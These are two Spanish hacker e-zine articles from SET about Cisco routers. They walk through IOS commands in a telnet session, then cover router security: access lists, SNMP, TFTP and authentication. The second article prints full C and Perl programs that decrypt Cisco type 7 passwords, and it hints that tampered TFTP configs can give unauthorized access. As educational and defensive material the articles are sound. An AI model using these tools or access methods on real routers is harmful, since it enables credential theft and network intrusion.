-[ 0x08 ]--------------------------------------------------------------------

-[ ROUTERS CISCO I ]---------------------------------------------------------

-[ by Hendrix ]-------------------------------------------------------SET-18-

 

CURSO DE ROUTERS CISCO (I)

**************************

por  Hendrix, <jm_hendrix@axis.org> 

 

Este es el primer articulo que escribo para SET, si no os gusta lo siento

por vosotros porque pienso escribir muchos mas...

 

Introduccion:

 

Los Routers son los aparatos encargados de encaminar los paquetes que

circulan por una red, en definitiva son ellos los que forman el nucleo de

Internet. Un Router recoge el paquete que le llega, lo analiza y decide cual

es camino que debe seguir para llegar a su destino, haciendo de puente entre

los distintos medios de transmision (Frame Relay, X.25, RDSI, etc..) y los

distintos protocolos. Fisicamente un Router no es mas que un ordenador

dedicado, es decir tiene su Microprocesador, su memoria y hasta su Sistema

Operativo!

 

La empresa CISCO acapara el 70% del mercado de los routers, es algo asi como

Microsoft en el software. Para comprender el funcionamiento practico de

estos aparatos lo mejor es conocer el Sistema Operativo de Cisco: CISCO IOS.

 

[IOS stands for Internetworking Operating System, capici?]

 

Modelos:

 

El modelo mas sencillo de CISCO es el 761, un peque~o router RDSI pensado

para peque~as oficinas. Este router no tiene sistema operativo y se

configura localmente conectandose al puerto serie. Tambien puede configurarse

via telnet. La serie 1000 de Cisco ya incorpora el CISCO IOS y sobre este

tipo de aparatos nos centraremos en el curso. Los otros modelos: series 2000,

2600, 3000, 4000, etc. funcionan basicamente igual, eso si, contra mas

grande sea el modelo mas cosas tiene, mola mas y vale mas pelas.

 

Otro dia podria dedicarle mas tiempo a explicar como es cada modelo (si a

alguien le interesa que me lo diga o que mire el la web de Cisco).

 

 

Vamos pa'dentro:

 

Lo mejor que podemos hacer es entrar en un Router y asi queda todo mucho mas

claro que si suelto una parrafada teorica de las mias.

Vamos p'alla, suponemos que hacemos un telnet a la direccion x.x.x.x donde

esta el router. Esto es lo que pasara:

 

> telnet x.x.x.x

 

User Access Verification

 

Password: ********

 

router>

 

$$$ Entramos la contrase~a y ya estamos dentro (en principio no pide login)

$$$ Ahora nos aparece el interprete de comandos. El comando mas sencillo es

$$$ el Help, "?" que nos da una lista de los comandos posibles

 

router> ?

<1-99>           Session number to resume

  connect          Open a terminal connection

  disable          Turn off privileged commands

  disconnect       Disconnect an existing network connection

  enable           Turn on privileged commands

  exit             Exit from the EXEC

  help             Description of the interactive help system

  lock             Lock the terminal

  login            Log in as a particular user

  logout           Exit from the EXEC

  name-connection  Name an existing network connection

  pad              Open a X.29 PAD connection

  ping             Send echo messages

  ppp              Start IETF Point-to-Point Protocol (PPP)

  resume           Resume an active network connection

  show             Show running system information

  slip             Start Serial-line IP (SLIP)

  systat           Display information about terminal lines

  telnet           Open a telnet connection

  terminal         Set terminal line parameters

  traceroute       Trace route to destination 

  tunnel           Open a tunnel connection

  where            List active connections

  x3               Set X.3 parameters on PAD      

 

$$$ Estos no son todos los comandos que tiene ya que como veis no hay ninguno

$$$ de configuracion, para ver mas cosa hay que entrar en modo enable con la

$$$ orden "enable" (evidente, no?)

 

router> enable

password: ********

router# ?

<1-99>           Session number to resume

  bfe              For manual emergency modes setting

  clear            Reset functions

  clock            Manage the system clock

  configure        Enter configuration mode

  connect          Open a terminal connection

  copy             Copy a config file to or from a tftp server

  debug            Debugging functions (see also 'undebug')

  disable          Turn off privileged commands

  disconnect       Disconnect an existing network connection

  enable           Turn on privileged commands

  erase            Erase flash or configuration memory

  exit             Exit from the EXEC

  help             Description of the interactive help system

  lock             Lock the terminal

  login            Log in as a particular user

  logout           Exit from the EXEC

  name-connection  Name an existing network connection

  no               Disable debugging functions

  pad              Open a X.29 PAD connection

  ping             Send echo messages

  ppp              Start IETF Point-to-Point Protocol (PPP)

  reload           Halt and perform a cold restart

  resume           Resume an active network connection

  rsh              Execute a remote command

  send             Send a message to other tty lines

  setup            Run the SETUP command facility

  show             Show running system information

  slip             Start Serial-line IP (SLIP)

  start-chat       Start a chat-script on a line

  systat           Display information about terminal lines

  telnet           Open a telnet connection

  terminal         Set terminal line parameters

  test             Test subsystems, memory, and interfaces

  traceroute       Trace route to destination

  tunnel           Open a tunnel connection

  undebug          Disable debugging functions (see also 'debug')

  verify           Verify checksum of a Flash file

  where            List active connections

  write            Write running configuration to memory, network, or terminal

  x3               Set X.3 parameters on PAD

  

$$$ Nos ha pedido otra password y ha cambiado el prompt de ">" a "#" para

$$$ indicar el modo. Para volver al modo normal solo hay que introducir el

$$$ comando "disable". Ahora aparecen mas opciones.

 

Hare una parada en la demostracion para hacer una serie de explicaciones (muy

por encima, eso si). En principio hay cuatro tipos de comandos:

 

1. Comando "Show": muestra la configuracion o los datos de un servicio

2. Comandos de configuracion (hay que entrar en modo "configure")

3. Comandos "Debug": Hace que el router envie una secuencia de testeo y

   devuelve un informe

4. Comandos TCP/IP de testeo: telnet, ping, traceroute, etc. estos paso de

   explicarlos porque ya estareis hartos de usarlos ;)

 

$$$ A~adiendo "?" a un comando nos devuelve una ayuda, por ejemplo:

 

router# show ip ?

  accounting      The active IP accounting database

  aliases         IP alias table

  arp             IP ARP table

  cache           IP fast-switching route cache

  community-list  List community-list

  eigrp           IP-EIGRP show commands

  interface       IP interface status and configuration

  irdp            ICMP Router Discovery Protocol

  masks           Masks associated with a network

  nhrp            NHRP information

  protocols       IP routing protocol process parameters and statistics

  redirects       IP redirects

  route           IP routing table

  sockets         Open IP sockets

  tcp             TCP/IP header-compression statistics

  traffic         IP protocol statistics                                                       

 

$$$ Volvemos al router, utilizare las ordenes mas simples y las ire

$$$ comentando:

 

router#show users

   Line     User      Host(s)               Idle Location

*  1 vty 0             idle                     0 Hendrix.esmentira.com

         

$$$ Vaya, estoy solo. (La explicacion de "Line" y "vty" para el proximo dia,

$$$ vale?)

 

router#show version

 

Cisco Internetwork Operating System Software

IOS (tm) 1000 Software (C1005-Y-M), Version 10.3(7), RELEASE SOFTWARE (fc1)

Copyright (c) 1986-1995 by cisco Systems, Inc.

Compiled Wed 01-Nov-95 15:34 by vatran

Image text-base: 0x05008000, data-base: 0x023F5324

 

ROM: System Bootstrap, Version 5.3.2(6) [vatran 6], RELEASE SOFTWARE (fc1)

ROM: 1000 Bootstrap Software (C1000-RBOOT-R), Version 10.3(6), RELEASE SOFTWARE

(fc1)

 

router uptime is 50 weeks, 7 days, 13 hours, 57 minutes

System restarted by power-on

System image file is "flash:c1005-y-mz.103-7", booted via flash

 

cisco 1000 (68360) processor (revision 0x00) with 3584K/512K bytes of memory.

Processor board serial number 32325888

Bridging software.

X.25 software, Version 2.0, NET2, BFE and GOSIP compliant.

1 Ethernet/IEEE 802.3 interface.

1 Serial network interface.

8K bytes of non-volatile configuration memory.

4096K bytes of processor board PCMCIA flash (Device not programmable)

 

$$$ Tachan!!! Este es el Router: un Cisco 1005 con Cisco IOS 10.3.

$$$ Tambien podeis ver otras cosas: Microprocesador 68360, (Motorola, como el

$$$ Amiga!) 4 Megas de RAM, una tarjeta PCMCIA con 4 Megas mas, una tarjeta

$$$ Ethernet y otra tarjeta serie (para una conexion Frame Relay, se

$$$ supone)

$$$ Tambien incluye software para X.25 y software de Bridge, aunque no se

$$$ utilizan               

 

router#show interfaces

 

Ethernet0 is up, line protocol is up

  Hardware is QUICC Ethernet, address is 0000.0f112.ffff (bia 0000.0f112.ffff)

  Internet address is 197.111.1.2 255.255.255.0

  MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec, rely 255/255, load 1/255

  Encapsulation ARPA, loopback not set, keepalive set (10 sec)

  ARP type: ARPA, ARP Timeout 4:00:00

 

Serial0 is up, line protocol is up

  

Serial0.1 is up, line protocol is up

  Hardware is QUICC Serial

  Internet address is 10.1.1.1 255.255.255.252

  MTU 1500 bytes, BW 1024 Kbit, DLY 20000 usec, rely 255/255, load 1/255

  Encapsulation FRAME-RELAY IETF

Serial0.2 is up, line protocol is up

  Hardware is QUICC Serial

  Internet address is 10.1.1.2 255.255.255.252

  MTU 1500 bytes, BW 1024 Kbit, DLY 20000 usec, rely 255/255, load 1/255

  Encapsulation FRAME-RELAY IETF 

 

$$$ Tambien aparecen estadisticas de paquetes cursados, paquetes erroreos,

$$$ etc, pero me lo salto porque ocupa mucho. Lo que si podeis ver es la

$$$ configuracion de la tarjeta Ethernet (IP:197.111.1.2), 10Mb de BW.

$$$ Tambien tiene una tarjeta serie con 2 conexiones Frame Relay a 10.1.1.1 y

$$$ a 10.1.1.2 El ancho de banda es de 1 Mb cada conexion.

 

router#show arp

Protocol  Address       Age (min)     Hardware Addr  Type   Interface

Internet  197.111.1.1          87     0600.0c07.ffff ARPA   Ethernet0

Internet  197.111.1.11          7     0600.09d0.3fe0 ARPA   Ethernet0

Internet  197.111.1.10          4     0660.b0ee.e4ee ARPA   Ethernet0

Internet  197.111.1.19          3     0600.09ee.7e74 ARPA   Ethernet0

Internet  197.111.1.18          1     0600.0ee9.a6aa ARPA   Ethernet0

Internet  197.111.1.14         21     0600.0333.5aab ARPA   Ethernet0

Internet  197.111.1.20          9     0600.099a.2633 ARPA   Ethernet0

Internet  197.111.1.102        32     0620.aff6.5335 ARPA   Ethernet0

 

$$$ siempre va bien ver el resto de ordenadores conectados a la red local,

$$$ Veamos ahora el fichero de configuracion:

$$$ Los comentarios del fichero son mios, no os vayais a liar.

 

router#show configuration

 

version 10.3                    /* Version del Cisco IOS */

service udp-small-servers       /* servicios activos */ 

service tcp-small-servers

!

hostname router                 /* nombre del router */

!

enable secret 5 $7$5fr3$Lblju33t7NjnSUThFgxy34 /* clave secreta encriptada */

enable password holahola                       /* clave para acceso por el

                                                  puerto serie */

!

!

interface Ethernet0                                             /* Configuracion de la T.de Red */

 ip address 197.111.1.2 255.255.255.0      

!

interface Serial0                                   /* configuracion de Frame Relay */

 no ip address

 encapsulation frame-relay IETF

 frame-relay lmi-type ansi

!

interface Serial0.1 point-to-point

 ip address 10.1.1.1 255.255.255.252

 frame-relay interface-dlci 510   

!

interface Serial0.2 point-to-point

 ip address 10.1.1.2 255.255.255.252

 frame-relay interface-dlci 512

!

ip host otro1 10.1.1.1

ip host otro2 10.1.1.2

snmp-server community public RO

!

line con 0

 exec-timeout 40 0

line vty 0 5                /* conf. acceso remoto */

 password hola

 login

!

end    

 

$$$ El DLCI es como la direccion IP pero para una red Frame Relay.

$$$ (Que estais pidiendo un cursillo de Frame Relay?, bueno, me lo apunto

$$$  para otra).

 

router> exit

 

Se acabo por hoy, otro dia mas.

PD: no os molesteis en copiar las IP de este ejemplo ya que TODOS los datos

son falsos, no vaya a ser que se moleste el due~o del router ;)

 

 

-[ 0x11 ]--------------------------------------------------------------------

-[ SEGURIDAD EN ROUTERS CISCO ]----------------------------------------------

-[ by Hendrix ]-------------------------------------------------------SET-20-

 

 

/////////////////////////////////////////////////////////////////////

/////                                                                                                                       /////

/////                    SEGURIDAD EN ROUTERS CISCO v1.0              /////

/////                                                           /////

/////                              por Hendrix     Julio-1999                 /////

/////                                                                                                                       /////

/////////////////////////////////////////////////////////////////////

 

 

Disclamer:

Toda la informacion que a aparece en este documento ha sido extraida de

los manuales de Cisco que aparecen en su web asi que no me toqueis los

huevos con resposabilidades legales.

 

Introduccion:

En SET#18 escribi un articulo explicando el funcionamiento de un router

Cisco y de los comandos mas usuales del Cisco IOS (show, ping, etc..)

Lo titule curso de routers cisco I, pues bien, supuestamente esta seria

la leccion 2 pero no me gustaba el formato y he decidido cambiarlo. Que

asi mola mas. En vez de ir haciendo partes ire ampliando las versiones

de este documento, si tengo ganas, claro...

 

0. Indice

---------

 

 

                1. Ficheros de Configuracion

                2. Como acceder al router

                3. Acceso Consola

                4. Acceso Telnet

                5. Password modo enable

                6. Acceso SNMP

                7. Acceso TFTP

                8. Firewall

                9. Autenticacion local

                10. Autenticacion Remota (RADIUS/TACACS+)

                11. Control de acceso PAP/CHAP

                12. Firewall PIX

                13. Bugs DoS

 

 

1. Ficheros de configuracion

-----------------------------

 

El Cisco IOS tiene solo dos ficheros, el "running-config" y el

"startup-config" que se pueden ver con el comando show en modo enable.

 

router# show running-config

 

Estos archivos se pueden modificar desde la linea de comandos del router o

cargando el fichero mediante una conexion TFTP.

 

El running-config es la configuracion que se esta utilizando es ese momento,

el fichero se encuentra en la memoria volatil por lo que los cambios que se

realicen no seran permanentes. Para hacer los cambios permanentes habra

que utilizar la orden.

 

router# copy running-config startup-config

 

El startup-config se graba en la memoria no volatil (NVRAM) y sera el

fichero de configuracion utilizado al reiniciar el router.

 

 

 

2. Como acceder al Router

--------------------------

 

Existen varias maneras de acceder al router:

 

- Consola: acceso a traves del puerto serie

- Telnet: tipico

- SNMP

- TFTP

 

Como ya dije en el anterior articulo, al entrar al router por telnet o

por consola nos aparece el siguiente mensaje:

 

User Access Verificafion

Password: *******

router>

 

y entramos al router en modo no-privilegiado lo que nos permite monitorizar

el trafico pero sin poder modificar la configuracion. Para acceder al modo

privilegiado:

 

router> enable

Password: *******

router#

 

Ya estamos en modo privilegiado, se diferencia por el promt #. IOS no utiliza

logins normalmente, solo passwords.

 

 

3. Acceso por Consola

-----------------------

 

En el fichero de configuracion nos encontramos con las siguientes lineas

 

line console 0       /* line con 0, tambien vale */

login               

password hola

exec-timeout 1 30

 

Cada tipo de acceso tiene un numero de lineas asociadas, el acceso consola

tiene solo una line, el 0. Login indica el tipo de autenticacion de usuario,

en este caso ninguno. Password indica la contrase~a en claro. Se puede

encriptar de modo parecido a unix. El comando exec-timeout indica el tiempo

maximo que puede estar activa la conexion, en este caso 1 minuto 30 segundos.

 

En el ejemplo del pasado articulo teniamos esto:

!

line con 0

 exec-timeout 40 0

 

No se declaraba ninguna contrase~a para acceder por consola y se establece

un timeout de 40 minutos (por defecto el timeout es de 10 minutos)

 

 

4. Acceso Telnet

------------------

 

Cada puerto telnet recibe el nombre de terminal virtual (VTY).

 

line vty 0 4

login

password prueba

 

En este ejemplo se configuran 5 puertos virtuales del 0 al 4 y todos

con la misma password "prueba".

 

Se puede restringir el acceso por telnet definiendo una lista. La listas

se definen con el siguente esquema:

 

>>> access-list [numero] [permit/deny] IP mascara

 

Ejemplo:

 

access-list 12 permit 192.85.55.0 0.0.0.255

line vty 0 4

access-class 12 in

 

En este caso se permite el acceso a los puertos vty solo desde las maquinas

de la red 192.85.55.0, las listas se explicaran mas adelante cuando hablemos

de firewalls. Se pueden definir listas del 0 al 99 y para activarlas se

utliza la orden: access-class [numero] in

 

Se puede acceder via telnet a diferentes puertos TCP del router. En las

versiones de IOS anteriores a 9.1(11.5), 9.21(3.2) y 10.0 (¿? cuantas

versiones, menudo caos que llevan los de cisco!) los puertos son los

siguientes:

 

7:    Echo

9:    Discard

23:   Telnet

79:   Finger

1993: SNMP sobre TCP

 

del 2001 al 2999: Telnet al puerto auxiliar (AUX), terminal (TTY) y terminal

                                 virtual (VTY)

del 3001 al 3999: Telnet a los puertos rotary

del 4001 al 4999: Telnet modo stream, mirror del rango 2000

del 5001 al 5999: Telnet modo stream, mirror del rango 3000

del 6001 al 6999: Telnet modo binario, mirror del rango 2000

del 7001 al 7999: Telnet modo binario, mirror del rango 3000

del 8001 al 8999: Xremote (solo servidores de comunicacion)

del 9001 al 9999: Reversal Xremote (solo servidores de comunicacion)

del 10001 al 19999: Reverse Xremote rotary

 

Los puertos rotary (3000, 5000, 7000 y 10000) deben ser configurados

explicitamente con el comando rotary. De lo contrario no funcionaran. Por

cierto no me preguntes que significa lo de rotary ni lo de Xremote porque

yo tampoco lo se ;)

 

[Daemon: Xremote, que empieza por X y es distribuido?. X Windows!.

Xremote es un protocolo para "mejorar" el rendimiento de XWindows

sobre enlaces en serie.

En cuanto a rotary pues primero lo traducimos a castellano y eso

ayuda :-DD, aluego descubrimos que se trata de agrupar lineas en

"rotary groups" y mas tarde descubrimos que el grupo rotary 1 esta

en el puerto 3001, el rotary 2 en el 3002 y asi. Normalmente se hace para

distribuir lineas en DDR (Dial on Demand Routing), para "reservarse" lineas

(netadmin rules!) o..moveos vosotros que seguro que aprendeis mas]

 

En las versiones 9.1(11.5), 9.21(3.2), 10.0 y posteriores se arreglo el

caos de puertos abiertos quedando definitivamente asi:

 

7:    Echo

9:    Discard

23:   Telnet

79:   Finger

1993: SNMP sobre TCP

2001: Puerto auxiliar (AUX)

4001: Puerto auxiliar (AUX) modo stream

6001: Puerto auxiliar (AUX) modo binario

 

Se puede cerrar el puerto finger con el comando "no service finger", para

cerrar los puertos 7 y 9 se puede utilizar el comando "no service

tcp-small-servers" y, para los puertos telnet, aux y SNMP se pueden

definir listas de acceso.

 

 

5. Password modo enable

-------------------------

 

router# enable secret pepe

 

Con este comando creamos una contrase~a para el modo enable, igual para

cualquier tipo de acceso (consola, telnet, ...). Recordad que para que

el cambio sea permanente es necesario copiarlo en el startup-config.

 

Esta contrase~a se puede encriptar con el comando enable secret.

 

router# configure terminal

router(config)# enable secret pepe

router(config)# exit

router# show running-config

Bulding configuration ...

 

Current configuration:

!

version 11.1

! bla, bla, bla ...

enable secret 5 $1$h7dd$VTNs4.BAfQMUU0Lrvmw6570

!

! bla, bla, bla ...

 

Entramos en modo configure y creamos la password enable, en este caso

"pepe" con el comando enable secret. Salimos y abrimos el fichero de

configuracion donde podemos ver la password encriptada.

 

En el manual se pide que se realicen posteriormente los pasos siguientes,

no se que sentido tienen pero lo pongo por si acaso:

 

router# configure terminal

router(config)# enable secret 5 $1$h7dd$VTNs4.BAfQMUU0Lrvmw6570

router(config)# exit

 

La clave se encripta con el algoritmo MD5, un algoritmo muy fuerte.

Finalmente se copia al startup para que los cambios sean permanentes.

 

router# copy running-config startup-config

 

 

6. Acceso SNMP

----------------

 

El comando para configurar este acceso es el siguiene,

snmp-server community <string> [RO|RW] [lista de acceso]

 

por ejemplo, para permitir acceso SNMP no privilegiado

 

snmp-server community public RO 1

 

Si queremos dar acceso solo desde las maquinas 1.1.1.1 y 2.2.2.2;

 

access-list 1 permit 1.1.1.1

access-list 1 permit 2.2.2.2

snmp-server community public RO 1

 

Para dar acceso al modo privilegiado con el string private:

 

snmp-server community private RW 1

 

El acceso privilegiado permite modificar la configuracion, en cambio, el no

privilegiado solo permite monitorizar el trafico.

 

 

7. Acceso TFTP

----------------

 

Se puede modificar el archivo de configuracion via TFTP, este metodo es

mas comodo pero tambien tiene sus peligros ya que puede ser utilizado por

otras personas para acceder al router sin autorizacion (y no miro a nadie ;))

enviando un fichero de configuracion modificado.

Ademas del TFTP se pude utilizar el Maintenance Operations Protocol (MOP),

LAT o X.25.

 

 

8. FIREWALL

-------------

 

Un router Cisco pueden funcionar como un firewall a nivel de red permitiendo

o denegando el acceso a IPs determinadas. Esto se consigue con las listas

de acceso:

 

access-list nn [permit/deny]  ip IP-in Mask-in IP-out Mask-out

 

Para permitir el acceso a las maquinas 147.22.x.x

 

acces-list 101 permit ip 147.22.0.0 0.0.255.255 0.0.0.0 255.255.255.255

 

Se pueden filtrar por otros protocolos [tcp, udp y icmp] en lugar de por ip.

Por ejemplo, para denegar el acceso a conexiones udp a las maquinas de la

red 156.23.22.0

 

access-list 101 deny udp 156.23.22.0 0.0.0.255 0.0.0.0 255.255.255.255

 

Una opcion imprescindible en toda lista de acceso que se precie es impedir

los ataques por spoofing, es muy sencillo solo tenemos que restringir los

accesos con una ip interior que vienen del exterior, suponiendo que nuestra

red es la 123.2.0.0 solo tenemos que hacer

 

access-list 102 deny ip 123.2.0.0 0.0.255.255 0.0.0.0 255.255.255.255

 

 

Tambien se puede filtrar por puertos, especificando un puerto concreto (eq x)

o un rango (gt x, mas grande que x por ejemplo)

 

Para permitir trafico Domain Name System (DNS) y Network Time Protocol (NTP)

usamos esto:

 

access-list 101 permit ip 0.0.0.0 255.255.255.255 0.0.0.0 255.255.255.255 eq 53

access-list 101 permit ip 0.0.0.0 255.255.255.255 0.0.0.0 255.255.255.255 eq 123

 

Este ejemplo deniega el acceso al Network File System (NFS) usando el puerto

UDP,

 

access-list 101 deny udp 0.0.0.0 255.255.255.255 0.0.0.0 255.255.255.255 eq 2049

 

...

 

(y podria estar escribiendo ejemplos hasta cansarme, que es precisamente

lo que acaba de pasarme ;)  ... )

 

Despues de definir la lista de acceso es necesario guardala en la memoria no

volatil (NVRAM) y aplicarla a un interface concreto, por ejemplo

 

interface ethernet 0

ip access-group 101

 

 

9. Autenticacion Local

------------------------

 

Se pueden declarar logins y password personalizados, el comando es el

siguiente

 

username juan password 7 hola123

username pedro password 7 aaafr3

 

Con la opcion 7 el password se guarda cifrado, con 0 el password se guardaria

en claro. Al entrar al router tendriamos:

 

User Access Verification

Username: juan

Password: hola123

router>

 

La encriptacion utilizada es muy pobre y puede romperse facilmente, el motivo

es que en algunos casos, como en el protocolo CHAP, el propio router necesita

la clave en claro. El objetivo de esta esta encriptacion es impedir que

alguien obtenga la clave a simple vista. Se trata pues de una debilidad

asumida por la propia compa~ia. En el caso de la clave enable se utiliza el

algoritmo "5" que que como ya dijimos es el MD5 y es indescifrable. A

continuacion muestro dos programas, uno en C y otro en Perl que descifran el

algoritmo "7". 

 

 

<++> set_020/cisco/ciscocrack.c

/* This code is originally from a Bugtraq post by

   Jared Mauch <jared@puck.nether.net> . I patched it with an improved

   translation table by Janos Zsako <zsako@BANKNET.NET>

   -Fyodor (fyodor@dhp.com) */

 

 

#include <stdio.h>

#include <ctype.h>

 

char xlat[] = {

        0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,

        0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,

        0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42

};

 

char pw_str1[] = " password 7 ";

char pw_str2[] = "enable password 7 ";

char pw_str3[] = "ip ftp password 7 ";

char pw_str4[] = " ip ospf message-digest-key 1 md5 7 ";

 

char *pname;

 

cdecrypt(enc_pw, dec_pw)

char *enc_pw;

char *dec_pw;

{

        unsigned int seed, i, val = 0;

 

        if(strlen(enc_pw) & 1)

                return(-1);

 

        seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';

 

        if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))

                return(-1);

 

        for (i = 2 ; i <= strlen(enc_pw); i++) {

                if(i !=2 && !(i & 1)) {

                        dec_pw[i / 2 - 2] = val ^ xlat[seed++];

                        val = 0;

                }

 

                val *= 16;

 

                if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {

                        val += enc_pw[i] - '0';

                        continue;

                }

 

                if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') {

                        val += enc_pw[i] - 'A' + 10;

                        continue;

                }

 

                if(strlen(enc_pw) != i)

                        return(-1);

        }

 

        dec_pw[++i / 2] = 0;

 

        return(0);

}

 

usage()

{

        fprintf(stdout, "Usage: %s -p <encrypted password>\n", pname);

        fprintf(stdout, "       %s <router config file> <output file>\n", pname);

 

        return(0);

}

 

main(argc,argv)

int argc;

char **argv;

 

{

        FILE *in = stdin, *out = stdout;

        char line[257];

        char passwd[65];

        unsigned int i, pw_pos;

 

        pname = argv[0];

 

        if(argc > 1)

        {

                if(argc > 3) {

                        usage();

                        exit(1);

                }

 

                if(argv[1][0] == '-')

                {

                        switch(argv[1][1]) {

                                case 'h':

                                usage();

                                break;

 

                                case 'p':

                                                               bzero(passwd, sizeof(passwd));

                                if(cdecrypt(argv[2], passwd)) {

                                        fprintf(stderr, "Error.\n");

                                        exit(1);

                                }

                                fprintf(stdout, "password: %s\n", passwd);

                                break;

 

                                default:

                                fprintf(stderr, "%s: unknow option.", pname);

                        }

 

                        return(0);

                }

 

                if((in = fopen(argv[1], "rt")) == NULL)

                        exit(1);

                if(argc > 2)

                        if((out = fopen(argv[2], "wt")) == NULL)

                                exit(1);

        }

 

        while(1) {

                for(i = 0; i < 256; i++) {

                        if((line[i] = fgetc(in)) == EOF) {

                                if(i)

                                        break;

 

                                fclose(in);

                                fclose(out);

                                return(0);

                        }

                        if(line[i] == '\r')

                                i--;

 

                        if(line[i] == '\n')

                                break;

                }

                pw_pos = 0;

                line[i] = 0;

 

                if(!strncmp(line, pw_str1, strlen(pw_str1)))

                        pw_pos = strlen(pw_str1);

 

                if(!strncmp(line, pw_str2, strlen(pw_str2)))

                        pw_pos = strlen(pw_str2);

                               if(!strncmp(line, pw_str3, strlen(pw_str3)))

                                               pw_pos = strlen(pw_str3);

                               if(!strncmp(line, pw_str4, strlen(pw_str4)))

                                               pw_pos = strlen(pw_str4);

 

                if(!pw_pos) {

                        fprintf(stdout, "%s\n", line);

                        continue;

                }

 

                               bzero(passwd, sizeof(passwd));

                if(cdecrypt(&line[pw_pos], passwd)) {

                        fprintf(stderr, "Error.\n");

                        exit(1);

                }

                else {

                        if(pw_pos == strlen(pw_str1))

                                fprintf(out, "%s", pw_str1);

                        else if (pw_pos == strlen(pw_str2))

                                fprintf(out, "%s", pw_str2);

                                               else if (pw_pos == strlen(pw_str3))

                                                               fprintf(out, "%s", pw_str3);

                                               else if (pw_pos == strlen(pw_str4))

                                                               fprintf(out, "%s", pw_str4);

 

 

                        fprintf(out, "%s\n", passwd);

                }

        }

}

<-->

 

Date: Mon, 12 Jan 1998 00:36:09 +0200

From: Riku Meskanen

To: BUGTRAQ@NETSPACE.ORG

Subject: perl version of that tin opener (IOS decrypt.c)

 

Howdy,

 

Squeezed the decrypt.c[1] with perl a bit, just for seeing

better how simple that IOS type 7 encryption really is.

 

[1] http://www.rootshell.com/archive-Rbf4ahcmxzw5qn2S/199711/ciscocrack.c

 

:-) riku

 

 

<++> set_020/cisco/ciscocrack.pl

#!/usr/bin/perl -w

# $Id: ios7decrypt.pl,v 1.1 1998/01/11 21:31:12 mesrik Exp $

#

# Credits for orginal code and description hobbit@avian.org,

# SPHiXe, .mudge et al. and for John Bashinski <jbash@CISCO.COM>

# for Cisco IOS password encryption facts.

#

# Use for any malice or illegal purposes strictly prohibited!

#

 

@xlat = ( 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41,

          0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c,

          0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42 );

 

while (<>) {

        if (/(password|md5)\s+7\s+([\da-f]+)/io) {

            if (!(length($2) & 1)) {

                $ep = $2; $dp = "";

                ($s, $e) = ($2 =~ /^(..)(.+)/o);

                for ($i = 0; $i < length($e); $i+=2) {

                    $dp .= sprintf "%c",hex(substr($e,$i,2))^$xlat[$s++];

                }

                s/7\s+$ep/$dp/;

            }

        }

        print;

}

# eof

<-->

 

 

10. Autenticacion Remota ( RADIUS / TACACS+ )

----------------------------------------------

 

Cuando se tiene un numero elevado de routers llevar un control de password

local en cada un de ellos puede suponer un follon considerable. La opcion

utilizada en estos casos es instalar un servidor de autenticacion remota.

Las posibles opciones son RADIUS (Remote Authentication Dial-In User

Service) y TACACS+ (Terminal Access Controller Access Control System con

mejoras propietarias de Cisco), estos sistemas se implementan generalmente

en servidores Unix. Estos protocolos estan definidos en sus orrespondientes

RFC.

 

Primeramente hay que configurar en el router la maquina que hara de servidor

de control de acceso. Por ejemplo,

 

tacacs-server host 194.147.12.12

tacacs-server key pepito

 

En este ejemplo se define la IP del servidor TACACS+ y la clave de cifrado

para las comunicaciones entre el router y el servidor "pepito". Igualmente

para RADIUS tenemos,

 

radius-server host alcatraz

radius-server key pepito

radius-server retransmit 4

radius-server timeout 12

 

Se puede indicar el nombre del servidor de control de acceso en lugar de su

IP, ademas tambien es posible otras opciones como indicar el numero de

intentos maximos o el numero de segundos maximos permitido.

 

El comando "tacacs-server last-resort [password|succeed] es interesante ya

que indica la forma de autenticar en caso de que el servidor tacacs no

funcione. La opcion password definiria un password y la opcion succeed

permitiria acceder sin password (una opcion muuuy peligrosa!!!!).

 

Para que un usuario se autentifique en el servidor RADIUS utilizamos,

 

line vty 0 4

login radius

 

o si usamos TACACS+,

 

line vty 0 4

login tacacs

 

 

11. Control de acceso PAP/CHAP

-------------------------------

 

Si queremos cifrar las passwords sin utilizar claves nos encontramos con

un dilema. Podemos enviar las claves en claro y mantener un directorio

de claves cifradas en el servidor (ej, /etc/passwd) o por el contrario

podemos enviar la clave cifrada guardar una copia en claro en el servidor.

PAP es una implementacion de la primera opcion y CHAP es una implementacion

de la segunda. PAP es susceptible a ataques de sniffers y CHAP lo es frente

a intrusiones en el servidor.

 

En Infovia, el protocolo PPP utiliza PAP para enviar la contrase~a. Lo que

permitiria capturarla si pinchasemos la linea telefonica del usuario.

 

Si emplemos un control de acceso para una red de routers con un RADIUS o

con TACACS+, se aconseja utilizar CHAP ya que el servidor se supone seguro.

 

 

12. PIX Firewall

-----------------

 

El PIX Firewall es un aparato que realiza las funciones de firewall. Tiene

la ventaja de que funciona con Cisco IOS y que es un aparato dedicado por lo

que en principio deberia de tener pocos bugs en su S.O.

Existen varios modelos en funcion del trafico que deben soportar. En

principio parece una buena opcion compacta de Firewall a todos los niveles.

Se puede programar por telnet o por web y permite las mismas prestaciones de

filtrar y crer logs que otros softwares como el famoso Firewall-1.

 

 

13. Bugs DoS

-------------

 

El Cisco IOS es un S.O. dedicado por lo que es muy dificil encontrar bugs

que permitan un acceso en modo privilegiado, lo que si existen son varios

bugs que provocan un bloqueo de la maquina o la obligan a reiniciar. Por

supuesto Cisco pone a disposicion toda una serie de parches y nuevas versiones

del IOS que corrigen estos errores. Si quieres mas informacion sobre estos

bugs puedes recurrir a los sitios de siempre: Bugtraq, CERT o la propia

Cisco...

 

Como ejemplo pondre un par de ataques DoS que he encontrado por ahi:

 

a)---------------------------------------------------

 

Date: Thu, 11 Dec 1997 01:11:13 -0500

From: Laslo Orto <Laslo@CPOL.COM>

To: BUGTRAQ@NETSPACE.ORG

Subject: cisco 76x buffer overflow

 

